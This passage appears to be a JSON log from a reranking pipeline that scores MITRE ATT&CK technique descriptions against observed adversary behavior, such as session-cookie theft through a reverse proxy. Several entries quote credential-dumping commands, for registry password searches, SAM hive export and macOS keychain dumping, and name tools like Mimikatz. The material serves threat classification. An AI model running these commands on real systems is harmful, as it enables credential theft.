`%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials. Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be absued to list credentials managed by the Credential Manager. Adversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the “Back up...” button on the “Stored User Names and Passwords” GUI. Password recovery tools may also obtain plain text passwords from the Credential Manager.\nTactics: credential access\nPlatforms: Windows" + }, + { + "id": "T1596.004", + "text": "ATT&CK technique: T1596.004 CDNs\nDescription: Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593.003", + "text": "ATT&CK technique: T1593.003 Code Repositories\nDescription: Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. Adversaries may search various public code repositories for various information about a victim. Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information), establishing operational resources (ex: Compromise Accounts or Compromise Infrastructure), and/or initial access (ex: Valid Accounts or Phishing). **Note:** This is distinct from Code Repositories, which focuses on Collection from private and internally hosted code repositories.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1555.006", + "text": "ATT&CK technique: T1555.006 Cloud Secrets Management Stores\nDescription: Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault. Secrets managers support the secure centralized management of passwords, API keys, and other credential material. Where secrets managers are in use, cloud services can dynamically acquire credentials via API requests rather than accessing secrets insecurely stored in plain text files or environment variables. If an adversary is able to gain sufficient privileges in a cloud environment – for example, by obtaining the credentials of high-privileged Cloud Accounts or compromising a service that has permission to retrieve secrets – they may be able to request secrets from the secrets manager. This can be accomplished via commands such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure. **Note:** this technique is distinct from Cloud Instance Metadata API in that the credentials are being directly requested from the cloud secrets manager, rather than through the medium of the instance metadata API.\nTactics: credential access\nPlatforms: IaaS" + }, + { + "id": "T1608", + "text": "ATT&CK technique: T1608 Stage Capabilities\nDescription: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications. Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site. * Staging web resources for a link target to be used with spearphishing. * Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer. * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1187", + "text": "ATT&CK technique: T1187 Forced Authentication\nDescription: Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept. The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. Template Injection), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server. With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials. There are several different ways this can occur. Some specifics from in-the-wild use include: * A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. Template Injection). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. * A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. Alternatively, by leveraging the EfsRpcOpenFileRaw function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of EfsRpcOpenFileRaw function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.\nTactics: credential access\nPlatforms: Windows" + }, + { + "id": "T1213.005", + "text": "ATT&CK technique: T1213.005 Messaging Applications\nDescription: Adversaries may leverage chat and messaging applications, such as Microsoft Teams, Google Chat, and Slack, to mine valuable information. The following is a brief list of example information that may hold potential value to an adversary and may also be found on messaging applications: * Testing / development credentials (i.e., Chat Messages) * Source code snippets * Links to network shares and other internal resources * Proprietary data * Discussions about ongoing incident response efforts In addition to exfiltrating data from messaging applications, adversaries may leverage data from chat messages in order to improve their targeting - for example, by learning more about an environment or evading ongoing incident response efforts.\nTactics: collection\nPlatforms: Office Suite, SaaS" + }, + { + "id": "T1213.001", + "text": "ATT&CK technique: T1213.001 Confluence\nDescription: Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as: * Policies, procedures, and standards * Physical / logical network diagrams * System architecture diagrams * Technical system documentation * Testing / development credentials (i.e., Unsecured Credentials) * Work / project schedules * Source code snippets * Links to network shares and other internal resources\nTactics: collection\nPlatforms: SaaS" + }, + { + "id": "T1552.002", + "text": "ATT&CK technique: T1552.002 Credentials in Registry\nDescription: Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons. Example commands to find Registry keys related to password information: * Local Machine Hive: reg query HKLM /f password /t REG_SZ /s * Current User Hive: reg query HKCU /f password /t REG_SZ /s\nTactics: credential access\nPlatforms: Windows" + }, + { + "id": "T1098", + "text": "ATT&CK technique: T1098 Account Manipulation\nDescription: Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.\nTactics: persistence, privilege escalation\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1003.002", + "text": "ATT&CK technique: T1003.002 Security Account Manager\nDescription: Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access. A number of tools can be used to retrieve the SAM file through in-memory techniques: * pwdumpx.exe * gsecdump * Mimikatz * secretsdump.py Alternatively, the SAM can be extracted from the Registry with Reg: * reg save HKLM\\sam sam * reg save HKLM\\system system Creddump7 can then be used to process the SAM database locally to retrieve hashes. Notes: * RID 500 account is the local, built-in administrator. * RID 501 is the guest account. * User accounts start with a RID of 1,000+.\nTactics: credential access\nPlatforms: Windows" + }, + { + "id": "T1555.001", + "text": "ATT&CK technique: T1555.001 Keychain\nDescription: Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service. Keychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/. Adversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain –d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user’s password to login to the macOS host.\nTactics: credential access\nPlatforms: macOS" + }, + { + "id": "T1558.004", + "text": "ATT&CK technique: T1558.004 AS-REP Roasting\nDescription: Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by Password Cracking Kerberos messages. Preauthentication offers protection against offline Password Cracking. When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password. For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline Password Cracking attacks similarly to Kerberoasting and expose plaintext credentials. An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like PowerShell with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.\nTactics: credential access\nPlatforms: Windows" + }, + { + "id": "T1683.001", + "text": "ATT&CK technique: T1683.001 Written Content\nDescription: Adversaries may create or tailor written materials to support targeting and malicious operations. Content may include phishing lures, fraudulent financial communications, fabricated job postings, fabricated employment credentials and documentation, decoy documents, social media persona content, and supporting narratives used to sustain fabricated personas over time. Content may be authored manually, commissioned through third parties, or produced using AI-assisted tools. Written materials may impersonate legitimate government correspondence, diplomatic communications, or internal organizational documents to support targeting efforts. AI-assisted tools may also be used to tailor content to specific targets, industries, or regions. For example, adversaries may leverage AI to translate content into a target's native language or mimic the communication style of trusted senders. Written content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts. Written content does not include malicious code or scripts; for development of malicious code and scripts, see Develop Capabilities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1598.001", + "text": "ATT&CK technique: T1598.001 Spearphishing Service\nDescription: Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1556", + "text": "ATT&CK technique: T1556 Modify Authentication Process\nDescription: Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using Valid Accounts. Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.\nTactics: credential access, defense impairment, persistence\nPlatforms: IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1555.002", + "text": "ATT&CK technique: T1555.002 Securityd Memory\nDescription: An adversary with root access may gather credentials by reading `securityd`’s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization. A privileged adversary may be able to scan through `securityd`'s memory to find the correct sequence of keys to decrypt the user’s logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc. In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. Apple’s `securityd` utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.\nTactics: credential access\nPlatforms: Linux, macOS" + }, + { + "id": "T1587", + "text": "ATT&CK technique: T1587 Develop Capabilities\nDescription: Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle. As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1014", + "text": "ATT&CK technique: T1014 Rootkit\nDescription: Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or System Firmware. Rootkits have been seen for Windows, Linux, and Mac OS X systems. Rootkits that reside or modify boot sectors are known as Bootkits and specifically target the boot process of the operating system.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1556.003", + "text": "ATT&CK technique: T1556.003 Pluggable Authentication Modules\nDescription: Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow. Adversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials. Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.\nTactics: credential access, defense impairment, persistence\nPlatforms: Linux, macOS" + }, + { + "id": "T1598.004", + "text": "ATT&CK technique: T1598.004 Spearphishing Voice\nDescription: Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff. Victims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to tailor pretexts to be even more persuasive and believable for the victim.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1550.002", + "text": "ATT&CK technique: T1550.002 Pass the Hash\nDescription: Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. When performing PtH, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. Adversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform Pass the Ticket attacks.\nTactics: lateral movement\nPlatforms: Windows" + }, + { + "id": "T1677", + "text": "ATT&CK technique: T1677 Poisoned Pipeline Execution\nDescription: Adversaries may manipulate continuous integration / continuous development (CI/CD) processes by injecting malicious code into the build process. There are several mechanisms for poisoning pipelines: * In a Direct Pipeline Execution scenario, the threat actor directly modifies the CI configuration file (e.g., `gitlab-ci.yml` in GitLab). They may include a command to exfiltrate credentials leveraged in the build process to a remote server, or to export them as a workflow artifact. * In an Indirect Pipeline Execution scenario, the threat actor injects malicious code into files referenced by the CI configuration file. These may include makefiles, scripts, unit tests, and linters. * In a Public Pipeline Execution scenario, the threat actor does not have direct access to the repository but instead creates a malicious pull request from a fork that triggers a part of the CI/CD pipeline. For example, in GitHub Actions, the `pull_request_target` trigger allows workflows running from forked repositories to access secrets. If this trigger is combined with an explicit pull request checkout and a location for a threat actor to insert malicious code (e.g., an `npm build` command), a threat actor may be able to leak pipeline credentials. Similarly, threat actors may craft pull requests with malicious inputs (such as branch names) if the build pipeline treats those inputs as trusted. Finally, if a pipeline leverages a self-hosted runner, a threat actor may be able to execute arbitrary code on a host inside the organization’s network. By poisoning CI/CD pipelines, threat actors may be able to gain access to credentials, laterally move to additional hosts, or input malicious components to be shipped further down the pipeline (i.e., Supply Chain Compromise).\nTactics: execution\nPlatforms: SaaS" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1555", + "score": 0.99609375, + "rank": 0 + }, + { + "item_id": "T1078", + "score": 0.98828125, + "rank": 1 + }, + { + "item_id": "T1056", + "score": 0.98046875, + "rank": 2 + }, + { + "item_id": "T1003", + "score": 0.96875, + "rank": 3 + }, + { + "item_id": "T1589.001", + "score": 0.94140625, + "rank": 4 + }, + { + "item_id": "T1552", + "score": 0.8671875, + "rank": 5 + }, + { + "item_id": "T1589", + "score": 0.8515625, + "rank": 6 + }, + { + "item_id": "T1555.003", + "score": 0.8359375, + "rank": 7 + }, + { + "item_id": "T1212", + "score": 0.73046875, + "rank": 8 + }, + { + "item_id": "T1555.004", + "score": 0.71875, + "rank": 9 + }, + { + "item_id": "T1558.004", + "score": 0.6796875, + "rank": 10 + }, + { + "item_id": "T1586", + "score": 0.5625, + "rank": 11 + }, + { + "item_id": "T1110.002", + "score": 0.5625, + "rank": 12 + }, + { + "item_id": "T1598", + "score": 0.46875, + "rank": 13 + }, + { + "item_id": "T1555.005", + "score": 0.46875, + "rank": 14 + }, + { + "item_id": "T1552.001", + "score": 0.46875, + "rank": 15 + }, + { + "item_id": "T1003.001", + "score": 0.439453125, + "rank": 16 + }, + { + "item_id": "T1003.004", + "score": 0.439453125, + "rank": 17 + }, + { + "item_id": "T1003.002", + "score": 0.306640625, + "rank": 18 + }, + { + "item_id": "T1078.003", + "score": 0.29296875, + "rank": 19 + }, + { + "item_id": "T1539", + "score": 0.255859375, + "rank": 20 + }, + { + "item_id": "T1056.001", + "score": 0.2451171875, + "rank": 21 + }, + { + "item_id": "T1005", + "score": 0.2109375, + "rank": 22 + }, + { + "item_id": "T1110.004", + "score": 0.2109375, + "rank": 23 + }, + { + "item_id": "T1598.002", + "score": 0.2109375, + "rank": 24 + }, + { + "item_id": "T1187", + "score": 0.201171875, + "rank": 25 + }, + { + "item_id": "T1556.002", + "score": 0.1923828125, + "rank": 26 + }, + { + "item_id": "T1056.003", + "score": 0.181640625, + "rank": 27 + }, + { + "item_id": "T1528", + "score": 0.1328125, + "rank": 28 + }, + { + "item_id": "T1056.004", + "score": 0.1328125, + "rank": 29 + }, + { + "item_id": "T1555.001", + "score": 0.1328125, + "rank": 30 + }, + { + "item_id": "T1555.002", + "score": 0.1328125, + "rank": 31 + }, + { + "item_id": "T1598.003", + "score": 0.1005859375, + "rank": 32 + }, + { + "item_id": "T1552.002", + "score": 0.09619140625, + "rank": 33 + }, + { + "item_id": "T1556.003", + "score": 0.09033203125, + "rank": 34 + }, + { + "item_id": "T1114.002", + "score": 0.08447265625, + "rank": 35 + }, + { + "item_id": "T1606", + "score": 0.07568359375, + "rank": 36 + }, + { + "item_id": "T1217", + "score": 0.06005859375, + "rank": 37 + }, + { + "item_id": "T1114", + "score": 0.047607421875, + "rank": 38 + }, + { + "item_id": "T1056.002", + "score": 0.039306640625, + "rank": 39 + }, + { + "item_id": "T1552.008", + "score": 0.03759765625, + "rank": 40 + }, + { + "item_id": "T1556", + "score": 0.03759765625, + "rank": 41 + }, + { + "item_id": "T1021", + "score": 0.035400390625, + "rank": 42 + }, + { + "item_id": "T1550.002", + "score": 0.02587890625, + "rank": 43 + }, + { + "item_id": "T1110", + "score": 0.021728515625, + "rank": 44 + }, + { + "item_id": "T1677", + "score": 0.0203857421875, + "rank": 45 + }, + { + "item_id": "T1115", + "score": 0.0142822265625, + "rank": 46 + }, + { + "item_id": "T1557", + "score": 0.0142822265625, + "rank": 47 + }, + { + "item_id": "T1098", + "score": 0.013427734375, + "rank": 48 + }, + { + "item_id": "T1566", + "score": 0.01043701171875, + "rank": 49 + }, + { + "item_id": "T1584.008", + "score": 0.00982666015625, + "rank": 50 + }, + { + "item_id": "T1082", + "score": 0.0086669921875, + "rank": 51 + }, + { + "item_id": "T1555.006", + "score": 0.0086669921875, + "rank": 52 + }, + { + "item_id": "T1597.002", + "score": 0.00811767578125, + "rank": 53 + }, + { + "item_id": "T1598.001", + "score": 0.00811767578125, + "rank": 54 + }, + { + "item_id": "T1552.007", + "score": 0.006744384765625, + "rank": 55 + }, + { + "item_id": "T1588.005", + "score": 0.006744384765625, + "rank": 56 + }, + { + "item_id": "T1598.004", + "score": 0.006317138671875, + "rank": 57 + }, + { + "item_id": "T1593.002", + "score": 0.0052490234375, + "rank": 58 + }, + { + "item_id": "T1213.003", + "score": 0.0052490234375, + "rank": 59 + }, + { + "item_id": "T1113", + "score": 0.00408935546875, + "rank": 60 + }, + { + "item_id": "T1213.005", + "score": 0.00384521484375, + "rank": 61 + }, + { + "item_id": "T1125", + "score": 0.0031890869140625, + "rank": 62 + }, + { + "item_id": "T1596.003", + "score": 0.002899169921875, + "rank": 63 + }, + { + "item_id": "T1563", + "score": 0.0025634765625, + "rank": 64 + }, + { + "item_id": "T1593.003", + "score": 0.002471923828125, + "rank": 65 + }, + { + "item_id": "T1596.005", + "score": 0.0017547607421875, + "rank": 66 + }, + { + "item_id": "T1213.001", + "score": 0.00170135498046875, + "rank": 67 + }, + { + "item_id": "T1593.001", + "score": 0.00164794921875, + "rank": 68 + }, + { + "item_id": "T1588", + "score": 0.00141143798828125, + "rank": 69 + }, + { + "item_id": "T1683.001", + "score": 0.00136566162109375, + "rank": 70 + }, + { + "item_id": "T1608", + "score": 0.0012054443359375, + "rank": 71 + }, + { + "item_id": "T1587", + "score": 0.000553131103515625, + "rank": 72 + }, + { + "item_id": "T1596.004", + "score": 0.000335693359375, + "rank": 73 + }, + { + "item_id": "T1014", + "score": 0.0002613067626953125, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 26090 + } + }, + "evidence_sha256": "5dc5cf305f49878c012da9979e06febb66899017bce8e476fc5d6a8cc54863e4" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 868.8, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: Another advantage of the reverse proxy is that it allows the threat actor to man-in-the-middle (MitM) a session and capture not only the usernames and passwords in real-time, but also the session cookie." + }, + "items": [ + { + "id": "T1539", + "text": "ATT&CK technique: T1539 Steal Web Session Cookie\nDescription: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\nTactics: credential access\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: | T1539 | Steal Web Session Cookie |" + }, + { + "id": "T1185", + "text": "ATT&CK technique: T1185 Browser Session Hijacking\nDescription: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques. A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.\nTactics: collection\nPlatforms: Windows\nLabeled report example: | T1185 | Man in the Browser |" + }, + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: * The email conversations were benign until TA453 provided a link to a compromised website hosting a credential harvesting page." + }, + { + "id": "T1606", + "text": "ATT&CK technique: T1606 Forge Web Credentials\nDescription: Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access. Adversaries may generate these credential materials in order to gain access to web resources. This differs from Steal Web Session Cookie, Steal Application Access Token, and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., Temporary Elevated Cloud Access), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain. Once forged, adversaries may use these web credentials to access resources (ex: Use Alternate Authentication Material), which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: * Collects login and passwords, cookies, autocomplete fields, credit cards" + }, + { + "id": "T1557", + "text": "ATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or 